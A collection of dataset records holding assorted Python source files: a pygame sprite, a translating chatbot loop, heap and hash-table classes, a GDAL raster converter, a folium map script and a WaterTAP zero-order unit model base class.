+{"seq_id":"169620810","text":"import pygame\nfrom typing import Tuple\nfrom KinemeticBody import KinematicBody\nfrom config import SCREEN_HEIGHT, SCREEN_WIDTH\nfrom resource import getResource\nfrom animation import splitImage\n\n\nFRAME_RATE = 10\nPLAYER_SPRITE_SHEET = pygame.image.load(\n    getResource(\"images/underwater-diving/player/player-swimming.png\")\n)\n\n\n# Player sprite.\nclass Player(KinematicBody):\n    def __init__(\n        self, position: Tuple[float, float],\n    ):\n        self.frames = splitImage(PLAYER_SPRITE_SHEET, 1, 7)\n        self.currentFrame = 0\n        self.timeToNextFrame = 0\n        super().__init__(self.frames[0], position)\n        self.damping_constant = 1\n        self.ACCEL_CONST = 2500\n\n    def update(self, delta: float):\n        # Animate.\n        self.timeToNextFrame -= delta\n        if self.timeToNextFrame <= 0:\n            self.currentFrame = (self.currentFrame + 1) % len(self.frames)\n            self.image = self.frames[self.currentFrame]\n            self.timeToNextFrame += 1 / FRAME_RATE\n\n        # Player Boundary\n        if self.position[0] < 32:\n            self.velocity = (0, self.velocity[1])\n            self.position = (32, self.position[1])\n\n        if self.position[0] > SCREEN_WIDTH - 32:\n            self.velocity = (0, self.velocity[1])\n            self.position = (SCREEN_WIDTH - 32, self.position[1])\n\n        if self.position[1] < 32:\n            self.velocity = (self.velocity[0], 0)\n            self.position = (self.position[0], 32)\n\n        if self.position[1] > SCREEN_HEIGHT - 32:\n            self.velocity = (self.velocity[0], 0)\n            self.position = (self.position[0], SCREEN_HEIGHT - 32)\n\n        super().update(delta)\n","sub_path":"src/Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"350177047","text":"# -*- coding: utf-8 -*-\nimport json\n\nimport credentials\nimport conversation\nimport language\n\n\nuser_language = 'en'\n\n\ndef setup():\n    \"\"\"Sets up ALL the necessary components.\n\n    Parameters\n    ----------\n    None\n\n    Returns\n    -------\n    None\n    \"\"\"\n    global language\n    global conversation\n\n    conversation.setup()\n    language.setup()\n\n\ndef home():\n    \"\"\"Resets the conversation and returns the greeting message from Conversation\n    *in the language of the user* (default: english)\n\n    Parameters\n    ----------\n    None\n\n    Returns\n    -------\n    {dict}: {'labels': [], 'answer': []}\n    \"\"\"\n    global language\n    global conversation\n\n    hello = conversation.hello()\n    return {'labels': [], 'answer': hello}\n\n\ndef interact(input_text):\n    \"\"\"Sends a message to conversation and returns the answer.\n    *Identifies* the language of the user to returns the answer *in the user language*.\n    If that language is different from previous exchanges,\n    interact() will *restart the conversation* (hello again, in the user language)\n    and switch to that new language.\n    Note: first language assumed is english.\n\n    Parameters\n    ----------\n    input_text: {}\n\n    Returns\n    -------\n    TBD\n    \"\"\"\n    global language\n    global conversation\n    global user_language\n\n    possible_languags = language.identify(input_text)['languages']\n    input_language = possible_languags[0]['language']\n    confidence = possible_languags[0]['confidence']\n\n    if confidence > 0.6 and input_language != user_language:\n        user_language = input_language\n        hello = conversation.hello()\n        response = '\\n'.join(hello)\n        return {'labels': [], 'answer': [language.translate(response, 'en', user_language)] }\n\n    if user_language != 'en':\n        input_text_as_en = language.translate(input_text, user_language, 'en')\n        response = conversation.exchange(input_text_as_en)[0]\n        response = language.translate(response, 'en', user_language)\n        return {'labels': [], 'answer': [response]}\n\n    else:\n        response = conversation.exchange(input_text)[0]\n        return {'labels': [], 'answer': [response]}\n\n\nif __name__ == '__main__':\n    print(\"*** Setting up components...\")\n    setup()\n\n    print(\"*** First reponse...\")\n    print(home())\n\n    # let's do an infinite loop\n    while True:\n        # gets some input from the prompt\n        input_content = input('Control> ')\n\n        # if you type one of those words, it will exit the while loop\n        if (input_content.lower() in {'exit', 'quit', 'q', 'n'}):\n            break\n\n        print(\"*** Interact with system...\")\n        print(interact(input_content))\n","sub_path":"code/babelapp/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"558511495","text":"class Heap:\n  def __init__(self):\n    self.storage = []\n\n  def insert(self, value):\n    self.storage.append(value)\n    self._bubble_up(len(self.storage) - 1)# I need to bubble up here\n\n  def delete(self):\n    if len(self.storage) > 1:\n      self._swap(0, len(self.storage) - 1)\n      max = self.storage.pop()\n      self._sift_down(0)\n    elif len(self.storage) == 1:\n      max = self.storage.pop()\n    else:\n      return False\n    return max\n\n  def get_max(self):\n    if self.storage:\n      return self.storage[0]\n\n  def get_size(self):\n    return len(self.storage)\n\n  def _bubble_up(self, index):\n    parent = (index - 1)//2\n    if index <= 0:\n      return\n    elif self.storage[index] > self.storage[parent]:\n      self._swap(index, parent)\n      self._bubble_up(parent)\n\n\n  def _sift_down(self, index):\n    left = index * 2 + 1\n    right = index * 2 + 2\n    largest = index\n    if len(self.storage) > left and self.storage[largest] < self.storage[left]:\n      largest = left\n    if len(self.storage) > right and self.storage[largest] < self.storage[right]:\n      largest = right\n\n    if largest != index:\n      self._swap(index, largest)\n      self._sift_down(largest)\n\n  def _swap(self, i, j):\n    self.storage[i], self.storage[j] = self.storage[j], self.storage[i]\n'''\n  * `insert` adds the input value into the heap; this method should ensure that the inserted value is in the correct spot in the heap\n  * `delete` removes and returns the 'topmost' value from the heap; this method needs to ensure that the heap property is maintained after the topmost element has been removed. \n  * `get_max` returns the maximum value in the heap _in constant time_.\n  * `get_size` returns the number of elements stored in the heap.\n  * `_bubble_up` moves the element at the specified index \"up\" the heap by swapping it with its parent if the parent's value is less than the value at the specified index.\n  * `_sift_down` grabs the indices of this element's children and determines which child has a larger value. If the larger child's value is larger than the parent's value, the child element is swapped with the parent.\n'''","sub_path":"heap/max_heap.py","file_name":"max_heap.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"468207891","text":"from sklearn import svm\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom sklearn.externals import joblib\n\n\n# get traing data\n\n\ndef change_dtype(tif_name: str) -> bool:\n    \"\"\"\n    Funciton\n        convert data from db\n    Input:\n        tif_path\n    \"\"\"\n\n    # check file\n    if Path(tif_name).exists():\n        logging.info(\"Will be process %s\", tif_name)\n    else:\n        logging.info(\"please check %s\", tif_name)\n        return False\n\n    # open file\n    try:\n        data_set = gdal.Open(tif_name)\n        data = data_set.GetRasterBand(1).ReadAsArray()\n    except Exception as e:\n        logging.info(\"%s : %s\", tif_name, e)\n        return False\n\n    # convert data\n    new_data = 10 ** ((data - 10000.0) / 2000.0)\n\n    # creat output\n    geotransform = data_set.GetGeoTransform()\n    dst_proj = data_set.GetProjection()\n    [cols, rows] = data.shape\n\n    # creat output\n    try:\n        driver = gdal.GetDriverByName(\"GTiff\")\n    except Exception:\n        print(\"Creat driver failed!\")\n        return False\n\n    file_name = tif_name.replace(\"_clip.tif\", \".tif\")\n    try:\n        result_out = driver.Create(file_name, rows, cols, 1, gdal.GDT_Float32)\n    except Exception as e:\n        print(\"Creat output failed!\", e)\n        return False\n\n    result_out.SetGeoTransform(geotransform)\n    result_out.SetProjection(dst_proj)\n    # result_out.GetRasterBand(1).SetNoDataValue(10000)\n    result_out.GetRasterBand(1).WriteArray(new_data)\n    result_out.FlushCache()\n    result_out = None\n    return True\n\n\nif __name__ == \"__main__\":\n    process_list = glob.glob(\n        \"/home/tq/data2/X-EX/S1_class_test/cyhq/S1_data/*_clip.tif\"\n    )\n    count = 0\n    for tmp in process_list:\n        count += 1\n        print(\"processing {} \\ {}\".format(count, len(process_list)))\n        change_dtype(tmp)\n","sub_path":"sklearn_SVM.py","file_name":"sklearn_SVM.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"347720247","text":"import pandas as pd\r\nimport folium\r\nimport coordTransform\r\nfrom folium.plugins import Search\r\nfrom folium.map import FeatureGroup\r\n\r\nbank=pd.read_excel('广州分行网点清单.xlsx')\r\nxls = pd.ExcelFile('g5canteen.xlsx')\r\ndf1 = pd.read_excel(xls, '有饭票')\r\ndf2 = pd.read_excel(xls, '无饭票')\r\n\r\n\r\nmap_f = folium.Map(location=[23.118766, 113.332907],\r\n                  zoom_start=12,\r\n                  control_scale=True,tiles=\"http://webrd02.is.autonavi.com/appmaptile?lang=zh_cn&size=1&scale=1&style=7&x={x}&y={y}&z={z}\",attr='default')\r\n\r\ngroupA = folium.FeatureGroup(name='有饭票', control=True)\r\n##创建一个Marker的FeatureGroup\r\ngroupB = folium.FeatureGroup(name='无饭票', control=True)\r\nbankgroup = folium.FeatureGroup(name='网点', control=True)\r\n\r\nfor i,r in bank.iterrows():\r\n    lon,lat= coordTransform.bd09_to_gcj02(r['经度'], r['纬度'])\r\n    folium.Marker([lat, lon], tooltip=r['网点名称'], icon=folium.DivIcon(icon_size=(80, 72), icon_anchor=(0, 0),\r\n                                                                            html='<div style=\"font-size: 12px;color: blue; background: white;\">' + f\"{r['网点名称']}\" + '</div>')\r\n                  ).add_to(bankgroup)\r\n    folium.Marker([lat,lon ],tooltip=r['网点名称'], icon=folium.Icon( icon='credit-card', prefix='fa')).add_to(bankgroup)\r\n\r\n\r\nfor i,r in df1.iterrows():\r\n    lon, lat = coordTransform.bd09_to_gcj02(r['lon'], r['lat'])\r\n    folium.Marker([lat,lon ], tooltip=r['Name'],icon=folium.DivIcon(icon_size=(100,72),icon_anchor=(0,0),html='<div style=\"font-size: 12px;color: red; background: white;\">'+f\"{r['Name']}\"+'</div>')\r\n).add_to(groupA) #,icon=folium.Icon(color='red', icon='cutlery')icon=folium.Icon(color='red', icon='cutlery'),icon=DivIcon(icon_size=(150,36),icon_anchor=(0,0),html='<div style=\"font-size: 24pt\">Test</div>')\r\n    folium.Marker([lat, lon], tooltip=r['Name'], icon=folium.Icon(color='red', icon='cutlery')\r\n                  ).add_to(groupA)\r\n\r\nfor i,r in df2.iterrows():\r\n    lon, lat = coordTransform.bd09_to_gcj02(r['lon'], r['lat'])\r\n    folium.Marker([lat,lon ], tooltip=r['Name'],icon=folium.DivIcon(icon_size=(100,72),icon_anchor=(0,0),html='<div style=\"font-size: 12px;color: organe; background: white;\">'+f\"{r['Name']}\"+'</div>')\r\n).add_to(groupB) #,icon=folium.Icon(color='red', icon='cutlery')icon=folium.Icon(color='red', icon='cutlery'),icon=DivIcon(icon_size=(150,36),icon_anchor=(0,0),html='<div style=\"font-size: 24pt\">Test</div>')\r\n    folium.Marker([lat, lon], tooltip=r['Name'], icon=folium.Icon(color='gray', icon='cutlery')\r\n                  ).add_to(groupB)\r\n\r\nmap_f.add_child(groupA)\r\nmap_f.add_child(groupB)\r\nmap_f.add_child(bankgroup)\r\nfolium.LayerControl().add_to(map_f)\r\nSearch(bankgroup, geom_type='Points' ,search_zoom=None, position='topleft').add_to(map_f)\r\n\r\nmap_f.save('bank_g5_all.html')","sub_path":"g5_visualize/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"197199807","text":"\"\"\"\nHash-Table implementation using pure python \nAuthor : Donatello Gong\nGithub : rrbb014\nE-mail : gutssoul1@gmail.com\n\"\"\"\n\nimport sys\n\nclass HashTable:\n    \"\"\"\n    Hash-Table is one of data structure.\n    It's useful to get same value many time.\n    Asymtotically, if search one key's value is O(1).\n    Thanks to hashing and array, directly access index of hashed key value.\n    However, cons of hash-table is hash collision.\n    Because hash function cannot make unique number from input value,\n    it is more important to handle hashing value is same but not same input.\n    \"\"\"\n\n    def __init__(self, bucket_size: int=pow(2, 10), hash_function=hash):\n        if bucket_size > pow(2, 10):\n            raise ValueError(\"Sorry, unfortunately too high bucket_size in this script. Please re-calibrate bucket_size <= pow(2, 10). \")\n\n        self._bucket_size=bucket_size\n        self._store_keys= [None] * self._bucket_size # storage for keys\n        self._store_values = [None] * self._bucket_size # storage for values\n\n        self._hash = hash_function  # python built-in hash function\n    \n    def __getitem__(self, key):\n        hash_value = self._hash(key)\n        key_index = hash_value % self._bucket_size\n        val = self._store_keys[key_index] \n        \n        if val is None:\n            raise Exception('No key ', key)\n        else:\n            if not isinstance(val, list):\n                return val\n            else:\n                for i in val:\n                    if i == key:\n                        return i\n    \n    def __setitem__(self, key, value):\n        hash_value = self._hash(key)\n        key_index = hash_value % self._bucket_size\n\n        # if hash-collision occured\n        if self._store_keys[key_index] is None:\n            self._store_keys[key_index] = key\n            self._store_values[key_index] = value\n        else:\n            if isinstance(self._store_keys[key_index], list):\n                print(\"hash-collision with \", str(key), \" and \", \" \".join([i for i in self._store_keys[key_index]]))\n                self._store_keys[key_index].append(key)\n                self._store_values[key_index].append(value)\n\n            else:    \n                print(\"hash-collision with {} , {}\".format(key, self._store_keys[key_index]))\n                t = []\n                t.append(self._store_keys[key_index])\n                t.append(key)\n                self._store_keys[key_index] = t\n\n                v = []\n                v.append(self._store_values[key_index])\n                v.append(value)\n                self._store_values[key_index] = v\n    \n    def keys(self):\n        res = \"\"\n        only_val = []\n        list_val = []\n        for idx in range(len(self._store_keys)):\n            if self._store_keys[idx] is None:\n                continue\n\n            if not isinstance(self._store_keys[idx], list):\n                only_val.append(idx)\n            else:\n                list_val.append(idx)\n\n        for i in only_val:\n            res += str(self._store_keys[i]) + \",\\n\"\n        \n        for j in list_val:\n            for k in self._store_keys[j]:\n                res += k + \",\\n\"\n\n        return res\n    \n    def values(self):\n        res = \"\"\n        only_val = []\n        list_val = []\n\n        for idx in range(len(self._store_values)):\n            if self._store_values[idx] is None:\n                continue\n\n            if not isinstance(self._store_values[idx], list):\n                only_val.append(idx)\n            else:\n                list_val.append(idx)\n\n        for i in only_val:\n            res += str(self._store_values[i]) + \",\\n\"\n        \n        for j in list_val:\n            for k in self._store_values[j]:\n                res += k + \",\\n\"\n\n        return res\n\nif __name__ == \"__main__\":\n    ht = HashTable()\n    ht['asd'] = 'hi hashtable'\n    print(ht.keys())\n    print(ht.values())","sub_path":"daily-programming/2019/02/D11_hash-table.py","file_name":"D11_hash-table.py","file_ext":"py","file_size_in_byte":3863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"610280213","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct  9 17:34:38 2016\n\n@author: leonardofsales\n\"\"\"\n\ndef how_many(aDict):\n    '''\n    aDict: A dictionary, where all the values are lists.\n\n    returns: int, how many values are in the dictionary.\n    '''\n    soma = 0\n    for word in aDict.values():\n        if len(word) == 1:\n            soma = soma + 1\n        else:\n            for i in word:\n                soma = soma + 1\n    return soma","sub_path":"how_many.py","file_name":"how_many.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"6900910","text":"#################################################################################\n# WaterTAP Copyright (c) 2020-2023, The Regents of the University of California,\n# through Lawrence Berkeley National Laboratory, Oak Ridge National Laboratory,\n# National Renewable Energy Laboratory, and National Energy Technology\n# Laboratory (subject to receipt of any required approvals from the U.S. Dept.\n# of Energy). All rights reserved.\n#\n# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and license\n# information, respectively. These files are also available online at the URL\n# \"https://github.com/watertap-org/watertap/\"\n#################################################################################\n\"\"\"\nThis module contains the base class for all zero order unit models.\n\"\"\"\n\nfrom idaes.core import UnitModelBlockData, useDefault, declare_process_block_class\nfrom idaes.core.util.config import is_physical_parameter_block\nimport idaes.logger as idaeslog\nfrom idaes.core.util.exceptions import ConfigurationError\nfrom idaes.core.util.tables import create_stream_table_dataframe\n\nfrom pyomo.common.config import ConfigBlock, ConfigValue, In\nimport pyomo.environ as pyo\n\n\n# Some more inforation about this module\n__author__ = \"Andrew Lee\"\n\n# Set up logger\n_log = idaeslog.getLogger(__name__)\n\n\n@declare_process_block_class(\"ZeroOrderBase\")\nclass ZeroOrderBaseData(UnitModelBlockData):\n    \"\"\"\n    Standard base class for zero order unit models.\n\n    This class contains the basic consistency checks and common methods for\n    zero order type models.\n    \"\"\"\n\n    CONFIG = ConfigBlock()\n    CONFIG.declare(\n        \"dynamic\",\n        ConfigValue(\n            domain=In([False]),\n            default=False,\n            description=\"Dynamic model flag - must be False\",\n            doc=\"\"\"All zero-order models are steady-state only\"\"\",\n        ),\n    )\n    CONFIG.declare(\n        \"has_holdup\",\n        ConfigValue(\n            default=False,\n            domain=In([False]),\n            description=\"Holdup construction flag - must be False\",\n            doc=\"\"\"Zero order models do not include holdup\"\"\",\n        ),\n    )\n    CONFIG.declare(\n        \"property_package\",\n        ConfigValue(\n            default=useDefault,\n            domain=is_physical_parameter_block,\n            description=\"Property package to use for control volume\",\n            doc=\"\"\"Property parameter object used to define property  calculations,\n        **default** - useDefault.\n        **Valid values:** {\n        **useDefault** - use default package from parent model or flowsheet,\n        **PhysicalParameterObject** - a PhysicalParameterBlock object.}\"\"\",\n        ),\n    )\n    CONFIG.declare(\n        \"property_package_args\",\n        ConfigBlock(\n            implicit=True,\n            description=\"Arguments to use for constructing property packages\",\n            doc=\"\"\"A ConfigBlock with arguments to be passed to a property block(s)\n        and used when constructing these, **default** - None.\n        **Valid values:** {see property package for documentation.}\"\"\",\n        ),\n    )\n    CONFIG.declare(\n        \"database\",\n        ConfigValue(\n            description=\"An instance of a WaterTAP Database to use for parameters.\"\n        ),\n    )\n    CONFIG.declare(\n        \"process_subtype\",\n        ConfigValue(\n            description=\"Process subtype to use when looking up parameters from database.\"\n        ),\n    )\n\n    def build(self):\n        super().build()\n\n        # Set a placeholder attributes\n        # Placeholder for technology type string\n        self._tech_type = None\n\n        # Attribute indicating what parameters need to be fixed in the model\n        self._has_recovery_removal = False\n        self._fixed_perf_vars = []\n\n        # Attributed for storing contents of reporting output\n        self._stream_table_dict = {}\n        self._perf_var_dict = {}\n\n        # Check that property package meets requirements\n        if self.config.property_package.phase_list != [\"Liq\"]:\n            raise ConfigurationError(\n                f\"{self.name} configured with invalid property package. \"\n                f\"Zero-order models only support property packages with a \"\n                f\"single phase named 'Liq'.\"\n            )\n        if not hasattr(\n            self.config.property_package, \"solvent_set\"\n        ) or self.config.property_package.solvent_set != [\"H2O\"]:\n            raise ConfigurationError(\n                f\"{self.name} configured with invalid property package. \"\n                f\"Zero-order models only support property packages which \"\n                f\"include 'H2O' as the only Solvent.\"\n            )\n        if not hasattr(self.config.property_package, \"solute_set\"):\n            raise ConfigurationError(\n                f\"{self.name} configured with invalid property package. \"\n                f\"Zero-order models require property packages to declare all \"\n                f\"dissolved species as Solutes.\"\n            )\n        if (\n            len(self.config.property_package.solute_set)\n            != len(self.config.property_package.component_list) - 1\n        ):\n            raise ConfigurationError(\n                f\"{self.name} configured with invalid property package. \"\n                f\"Zero-order models only support `H2O` as a solvent and all \"\n                f\"other species as Solutes.\"\n            )\n\n    # Place holders for assigning methods\n    # used to link to initization routine\n    def _initialize(self, state_args, outlvl, solver, optarg):\n        raise NotImplementedError()\n\n    # used to link to scaling routine\n    def _scaling(self):\n        raise NotImplementedError()\n\n    # used to provide inlet volumetric flow\n    def _get_Q(self, t):\n        raise NotImplementedError()\n\n    def initialize_build(\n        self, state_args=None, outlvl=idaeslog.NOTSET, solver=None, optarg=None\n    ):\n        \"\"\"\n        Passthrough initialization routine, raises NotImplementedError if\n        the unit model does not have an `_initialize` function.\n        \"\"\"\n        self._initialize(\n            state_args=state_args, outlvl=outlvl, solver=solver, optarg=optarg\n        )\n\n    def calculate_scaling_factors(self):\n        \"\"\"\n        Placeholder scaling routine, should be overloaded by derived classes\n        \"\"\"\n        super().calculate_scaling_factors()\n        self._scaling()\n\n    def load_parameters_from_database(self, use_default_removal=False):\n        \"\"\"\n        Method to load parameters for from database.\n\n        Args:\n            use_default_removal - (optional) indicate whether to use defined\n                                  default removal fraction if no specific value\n                                  defined in database\n\n        Returns:\n            None\n        \"\"\"\n        # Get parameter dict from database\n        if self._tech_type is None:\n            raise NotImplementedError(\n                f\"{self.name} derived zero order unit model has not \"\n                f\"implemented the _tech_type attribute. This is required \"\n                f\"to identify the database file to load parameters from.\"\n            )\n\n        # Get parameter dict from database\n        pdict = self.config.database.get_unit_operation_parameters(\n            self._tech_type, subtype=self.config.process_subtype\n        )\n\n        if self._has_recovery_removal:\n            self.set_recovery_and_removal(pdict, use_default_removal)\n\n        for v in self._fixed_perf_vars:\n            self.set_param_from_data(v, pdict)\n\n    def set_recovery_and_removal(self, data, use_default_removal=False):\n        \"\"\"\n        Common utility method for setting values of recovery and removal\n        fractions.\n\n        Args:\n            data - dict of parameter values to use when fixing variables\n            use_default_removal - (optional) indicate whether to use defined\n                                  default removal fraction if no specific value\n                                  defined in database\n\n        Returns:\n            None\n        \"\"\"\n        try:\n            self.set_param_from_data(self.recovery_frac_mass_H2O, data)\n        except KeyError:\n            if self.recovery_frac_mass_H2O[:].fixed:\n                pass\n            else:\n                raise\n\n        for t, j in self.removal_frac_mass_comp:\n            self.set_param_from_data(\n                self.removal_frac_mass_comp[t, j],\n                data,\n                index=j,\n                use_default_removal=use_default_removal,\n            )\n\n    def set_param_from_data(\n        self, parameter, data, index=None, use_default_removal=False\n    ):\n        \"\"\"\n        General method for setting parameter values from a dict of data\n        returned from a database.\n\n        Args:\n            parameter - a Pyomo Var to be fixed to value from database\n            data - dict of parameter values from database\n            index - (optional) index to fix if parameter is an IndexedVar\n            use_default_removal - (optional) indicate whether to use defined\n                                  default removal fraction if no specific value\n                                  defined in database\n\n        Returns:\n            None\n\n        Raises:\n            KeyError if values cannot be found for parameter in data dict\n\n        \"\"\"\n\n        pname = parameter.parent_component().local_name\n\n        try:\n            pdata = data[pname]\n        except KeyError:\n            raise KeyError(\n                f\"{self.name} - database provided does not contain an entry \"\n                f\"for {pname} for technology.\"\n            )\n\n        if index is not None:\n            try:\n                pdata = pdata[index]\n            except KeyError:\n                if pname == \"removal_frac_mass_comp\" and use_default_removal:\n                    try:\n                        pdata = data[\"default_removal_frac_mass_comp\"]\n                        index = \"default\"\n                    except KeyError:\n                        raise KeyError(\n                            f\"{self.name} - database provided does not \"\n                            f\"contain an entry for {pname} with index {index} \"\n                            f\"for technology and no default removal was \"\n                            f\"specified.\"\n                        )\n                else:\n                    raise KeyError(\n                        f\"{self.name} - database provided does not contain \"\n                        f\"an entry for {pname} with index {index} for \"\n                        f\"technology.\"\n                    )\n\n        try:\n            val = pdata[\"value\"]\n        except KeyError:\n            raise KeyError(\n                f\"{self.name} - no value provided for {pname} (index: \"\n                f\"{index}) in database.\"\n            )\n        try:\n            units = getattr(pyo.units, pdata[\"units\"])\n        except KeyError:\n            raise KeyError(\n                f\"{self.name} - no units provided for {pname} (index: \"\n                f\"{index}) in database.\"\n            )\n\n        parameter.fix(val * units)\n        _log.info_high(f\"{parameter.name} fixed to value {val} {str(units)}\")\n\n    def get_inlet_flow(self, t):\n        return self._get_Q(t)\n\n    def _get_stream_table_contents(self, time_point=0):\n        return create_stream_table_dataframe(\n            self._stream_table_dict, time_point=time_point\n        )\n\n    def _get_performance_contents(self, time_point=0):\n        var_dict = {}\n\n        for k, v in self._perf_var_dict.items():\n            if k in [\"Solute Removal\", \"Reaction Extent\", \"Rejection\"]:\n                for j, vd in v[time_point, :].wildcard_items():\n                    var_dict[f\"{k} [{j}]\"] = vd\n            elif v.is_indexed():\n                var_dict[k] = v[time_point]\n            else:\n                var_dict[k] = v\n\n        return {\"vars\": var_dict}\n\n    # -------------------------------------------------------------------------\n    # Unit operation costing methods\n    @staticmethod\n    def _add_cost_factor(blk, factor):\n        if factor == \"TPEC\":\n            blk.cost_factor = pyo.Expression(\n                expr=blk.config.flowsheet_costing_block.TPEC\n            )\n        elif factor == \"TIC\":\n            blk.cost_factor = pyo.Expression(\n                expr=blk.config.flowsheet_costing_block.TIC\n            )\n        else:\n            blk.cost_factor = pyo.Expression(expr=1.0)\n        blk.direct_capital_cost = pyo.Expression(\n            expr=blk.capital_cost / blk.cost_factor\n        )\n\n    @staticmethod\n    def _get_unit_cost_method(blk):\n        \"\"\"\n        Get a specified cost_method if one is defined in the YAML file.\n        This is meant for units with different cost methods between subtypes.\n        \"\"\"\n        # Get parameter dict from database\n        parameter_dict = blk.unit_model.config.database.get_unit_operation_parameters(\n            blk.unit_model._tech_type, subtype=blk.unit_model.config.process_subtype\n        )\n\n        if \"cost_method\" not in parameter_dict[\"capital_cost\"]:\n            raise KeyError(\n                f\"Costing for {blk.unit_model._tech_type} requires a cost_method argument, however \"\n                f\"this was not defined for process sub-type {blk.unit_model.config.process_subtype}.\"\n            )\n\n        return parameter_dict[\"capital_cost\"][\"cost_method\"]\n\n    @staticmethod\n    def _get_tech_parameters(blk, parameter_dict, subtype, param_list):\n        \"\"\"\n        First, need to check to see if a Block with parameters for this technology\n        exists.\n        Second, to handle technology subtypes all parameters need to be indexed by\n        subtype. We will dynamically add subtypes to the indexing set and Vars as\n        required.\n        \"\"\"\n        # Check to see in parameter Block already exists\n        try:\n            # Try to get parameter Block from costing package\n            pblock = getattr(\n                blk.config.flowsheet_costing_block, blk.unit_model._tech_type\n            )\n        except AttributeError:\n            # Parameter Block for this technology hasn't been added yet. Create it.\n            pblock = pyo.Block()\n\n            # Add block to FlowsheetCostingBlock\n            blk.config.flowsheet_costing_block.add_component(\n                blk.unit_model._tech_type, pblock\n            )\n\n            # Add subtype Set to Block\n            pblock.subtype_set = pyo.Set()\n\n            # Add required Vars\n            for p in param_list:\n                try:\n                    vobj = pyo.Var(\n                        pblock.subtype_set,\n                        units=getattr(\n                            pyo.units, parameter_dict[\"capital_cost\"][p][\"units\"]\n                        ),\n                    )\n                    pblock.add_component(p, vobj)\n                except KeyError:\n                    raise KeyError(\n                        \"Error when trying to retrieve costing parameter \"\n                        \"for {p}. Please check the YAML \"\n                        \"file for this technology for errors.\".format(p=p)\n                    )\n\n        # Check to see if required subtype is in subtype_set\n        vlist = []\n        if subtype not in pblock.subtype_set:\n            # Need to add subtype and set Vars\n            pblock.subtype_set.add(subtype)\n\n            # Set vars\n            for p in param_list:\n                vobj = getattr(pblock, p)\n                vobj[subtype].fix(\n                    float(parameter_dict[\"capital_cost\"][p][\"value\"])\n                    * getattr(pyo.units, parameter_dict[\"capital_cost\"][p][\"units\"])\n                )\n                vlist.append(vobj[subtype])\n        else:\n            for p in param_list:\n                vobj = getattr(pblock, p)\n                vlist.append(vobj[subtype])\n\n        # add conditional for cases where there is only one parameter returned\n        if len(vlist) == 1:\n            return vlist[0]\n        else:\n            return tuple(x for x in vlist)\n\n    @staticmethod\n    def _general_power_law_form(\n        blk, A, B, sizing_term, factor=None, number_of_parallel_units=1\n    ):\n        \"\"\"\n        General method for building power law costing expressions.\n        Args:\n            number_of_parallel_units (int, optional) - cost this unit as\n                        number_of_parallel_units parallel units (default: 1)\n        \"\"\"\n        blk.capital_cost = pyo.Var(\n            initialize=1,\n            units=blk.config.flowsheet_costing_block.base_currency,\n            bounds=(0, None),\n            doc=\"Capital cost of unit operation\",\n        )\n\n        expr = pyo.units.convert(\n            A\n            * (\n                pyo.units.convert(sizing_term, to_units=pyo.units.dimensionless)\n                / number_of_parallel_units\n            )\n            ** B,\n            to_units=blk.config.flowsheet_costing_block.base_currency,\n        )\n\n        expr *= number_of_parallel_units\n\n        blk.unit_model._add_cost_factor(blk, factor)\n\n        blk.capital_cost_constraint = pyo.Constraint(\n            expr=blk.capital_cost == blk.cost_factor * expr\n        )\n\n    @property\n    def default_costing_method(self):\n        return self.cost_power_law_flow\n\n    @staticmethod\n    def cost_power_law_flow(blk, number_of_parallel_units=1):\n        \"\"\"\n        General method for costing equipment based on power law form. This is\n        the most common costing form for zero-order models.\n        CapCost = A*(F/Fref)**B\n        This method also registers electricity demand as a costed flow (if\n        present in the unit operation model).\n        Args:\n            number_of_parallel_units (int, optional) - cost this unit as\n                        number_of_parallel_units parallel units (default: 1)\n        \"\"\"\n        t0 = blk.flowsheet().time.first()\n\n        # Get parameter dict from database\n        parameter_dict = blk.unit_model.config.database.get_unit_operation_parameters(\n            blk.unit_model._tech_type, subtype=blk.unit_model.config.process_subtype\n        )\n\n        # Get costing parameter sub-block for this technology\n        A, B, state_ref = blk.unit_model._get_tech_parameters(\n            blk,\n            parameter_dict,\n            blk.unit_model.config.process_subtype,\n            [\"capital_a_parameter\", \"capital_b_parameter\", \"reference_state\"],\n        )\n\n        # Get state block for flow bases\n        basis = parameter_dict[\"capital_cost\"][\"basis\"]\n        try:\n            sblock = blk.unit_model.properties_in[t0]\n        except AttributeError:\n            # Pass-through case\n            sblock = blk.unit_model.properties[t0]\n\n        if basis == \"flow_vol\":\n            state = sblock.flow_vol\n            sizing_term = state / state_ref\n        elif basis == \"flow_mass\":\n            state = sum(sblock.flow_mass_comp[j] for j in sblock.component_list)\n            sizing_term = state / state_ref\n        else:\n            raise ValueError(\n                f\"{blk.name} - unrecognized basis in parameter \"\n                f\"declaration: {basis}.\"\n            )\n\n        # Determine if a costing factor is required\n        factor = parameter_dict[\"capital_cost\"][\"cost_factor\"]\n\n        # Call general power law costing method\n        blk.unit_model._general_power_law_form(\n            blk, A, B, sizing_term, factor, number_of_parallel_units\n        )\n\n        # Register flows\n        blk.config.flowsheet_costing_block.cost_flow(\n            blk.unit_model.electricity[t0], \"electricity\"\n        )\n","sub_path":"watertap/core/zero_order_base.py","file_name":"zero_order_base.py","file_ext":"py","file_size_in_byte":19506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
